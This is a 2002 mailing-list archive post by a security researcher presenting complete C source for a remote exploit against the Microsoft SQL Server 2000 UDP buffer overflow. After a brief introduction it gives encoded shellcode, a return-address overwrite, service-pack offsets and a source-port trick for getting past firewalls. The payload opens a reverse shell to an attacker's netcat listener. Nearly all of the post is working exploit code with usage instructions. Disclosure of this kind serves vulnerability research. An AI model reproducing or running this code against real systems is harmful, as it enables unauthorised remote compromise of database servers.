Vulnerability Development mailing list archives

Advanced windows shellcode


From: "David Litchfield" <david () ngssoftware com>
Date: Fri, 16 Aug 2002 05:05:02 +0100

Traditional windows shellcode uses pipes for stdin, stdout and stderrr and
consequently the size of the exploit is c. 600 to 700 bytes. Rather than
creating some pipes though one can create a socket using WSASocket() and use
this socket as the handle to stdinm stdout and stderr. This considerably
reduces the size of the code. If you hard code addresses etc (in other words
you know the OS and OS Service pack of the target system) you can get the
exploit code down to 160 bytes. This code here uses GetProcAddress and
LoadLibrary to be platform independent though and is c. 300 bytes. I've not
optomised it in anyway and there is indeed a lot of unneeded bytes used.
This is from the paper I presented at blackhat on the Microsoft SQL Server
unauthenticated buffer overflow over udp. When I first coded it I didn't
bother to call ExitThread() so I tacked it onto the end - secondly - I
thought sqlsort.dll was consistent across SQL Server service packs but it
isn't - I'm using the import address entry for GetProcAddress and LoadLib
from here. Unfortunately the location of the entry for GetProcAddress
changes by 12 bytes  from sp0 to other sps.

David Litchfield
NGSSoftware Ltd
http://www.ngssoftware.com/



#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C"
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8"
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6"
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90"
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83"
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF"
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF"
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B"
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33"
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50"
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53"
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0"
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9"
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45"
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40"
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35"
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02"
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10"
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45"
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF"
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45"
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98"
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58"
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83"
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D"
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0"
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64"
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74"
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10"
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76"
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D"
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58"
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C"
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C"
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37"
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C"
"\x58";


int main(int argc, char *argv[])
{
 unsigned int ErrorLevel=0,len=0,c =0;
 int count = 0;
 char sc[300]="";
 char ipaddress[40]="";
 unsigned short port = 0;
 unsigned int ip = 0;
 char *ipt="";
 char buffer[400]="";
 unsigned short prt=0;
 char *prtt="";


 if(argc != 2 && argc != 5)
  {
   printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
Code");
   printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
sp",argv[0]);
   printf("\n\n\tYou need to set nectat listening on a port");
   printf("\n\tthat you want the reverse shell to connect to");
   printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
   printf("\n\n\tThen run C:\\>%s db.target.com 199.199.199.199 53
0",argv[0]);
   printf("\n\n\tAssuming, of course, your IP address is
199.199.199.199\n");
   printf("\n\tWe set the source UDP port to 53 so this should go through");
   printf("\n\tmost firewalls - looks like a reply to a DNS query. Change");
   printf("\n\tthe source code if you want to modify this.");
   printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
   printf("\n\tWith no service pack the import address entry for");
   printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
   printf("\n\tchange one byte of the exploit code to reflect this.");
   printf("\n\n\n\tDavid Litchfield\n\tdavid () ngssoftware com\n\t22nd May
2002\n\n\n\n");
   return 0;
  }

 strncpy(host,argv[1],250);
 if(argc == 5)
  {
   strncpy(ipaddress,argv[2],36);

   port = atoi(argv[3]);
   // SQL Server 2000 Service pack level
   // The import entry for GetProcAddress in sqlsort.dll
   // is at  0x42ae1010 but on SP 1 and 2 is at  0x42ae101C
   // Need to set the last byte accordingly
   if(argv[4][0] == 0x30)
    {
     printf("Service Pack 0. Import address entry for GetProcAddress @
0x42ae1010\n");
     exploit_code[9]=0x10;
    }
   else
    {
     printf("Service Pack 1 or 2. Import address entry for GetProcAddress @
0x42ae101C\n");
    }

  }

 ErrorLevel = StartWinsock();
 if(ErrorLevel==0)
  {
   printf("Error starting Winsock.\n");
   return 0;
  }
 if(argc == 2)
  {
   strcpy(request,ping);

   GainControlOfSQL();
   return 0;
  }


 strcpy(buffer,exploit_code);

 // set this IP address to connect back to
 // this should be your address
 ip = inet_addr(ipaddress);
 ipt = (char*)&ip;
 buffer[142]=ipt[0];
 buffer[143]=ipt[1];
 buffer[144]=ipt[2];
 buffer[145]=ipt[3];

 // set the TCP port to connect on
 // netcat should be listening on this port
 // e.g. nc -l -p 80

 prt = htons(port);
 prt = prt ^ 0xFFFF;
 prtt = (char *) &prt;
 buffer[160]=prtt[0];
 buffer[161]=prtt[1];




strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO
PPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");

 // Overwrite the saved return address on the stack
 // This address contains a jmp esp instruction
 // and is in sqlsort.dll.

 strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

 // Need to do a near jump
 strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46");

 // Need to set an address which is writable or
 // sql server will crash before we can exploit
 // the overrun. Rather than choosing an address
 // on the stack which could be anywhere we'll
 // use an address in the .data segment of sqlsort.dll
 // as we're already using sqlsort for the saved
 // return address

 // SQL 2000 no service packs needs the address here
 strcat(request,"\x01\x70\xAE\x42");

 // SQL 2000 Service Pack 2 needs the address here
 strcat(request,"\x01\x70\xAE\x42");

 // just a few nops
 strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90");


 // tack on exploit code to the end of our request
 // and fire it off
 strcat(request,buffer);

 GainControlOfSQL();

 return 0;

}


int StartWinsock()
{
 int err=0;
 WORD wVersionRequested;
 WSADATA wsaData;

 wVersionRequested = MAKEWORD( 2, 0 );
 err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
  {
   return 0;
  }
 if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
    {
        WSACleanup( );
        return 0;
  }

 if (isalpha(host[0]))
    {
   he = gethostbyname(host);
    }
 else
  {
   addr = inet_addr(host);
   he = gethostbyaddr((char *)&addr,4,AF_INET);
  }

 if (he == NULL)
    {
   return 0;
    }

 s_sa.sin_addr.s_addr=INADDR_ANY;
 s_sa.sin_family=AF_INET;
 memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
 return 1;
}



int GainControlOfSQL(void)
{

 SOCKET c_sock;

 char resp[600]="";
 char *ptr;
 char *foo;
 int snd=0,rcv=0,count=0, var=0;
 unsigned int ttlbytes=0;
 unsigned int to=2000;
 struct sockaddr_in        srv_addr,cli_addr;
 LPSERVENT            srv_info;
 LPHOSTENT            host_info;
 SOCKET            cli_sock;


 cli_sock=socket(AF_INET,SOCK_DGRAM,0);
 if (cli_sock==INVALID_SOCKET)
  {
       return printf(" sock error");
      }

 cli_addr.sin_family=AF_INET;
 cli_addr.sin_addr.s_addr=INADDR_ANY;
 cli_addr.sin_port=htons((unsigned short)53);

 setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
int));
 if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
  {
       return printf("bind error");
      }



 s_sa.sin_port=htons((unsigned short)SQLUDPPort);

 if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
  {
   return printf("Connect error");
  }



 else
  {
       snd=send(cli_sock, request , strlen (request) , 0);
   printf("Packet sent!\nIf you don't have a shell it didn't work.");
   rcv = recv(cli_sock,resp,596,0);
   if(rcv > 1)
    {
     while(count < rcv)
      {
       if(resp[count]==0x00)
        resp[count]=0x20;
       count++;
      }
     printf("%s",resp);
    }
  }
 closesocket(cli_sock);
return 0;
}




Current thread: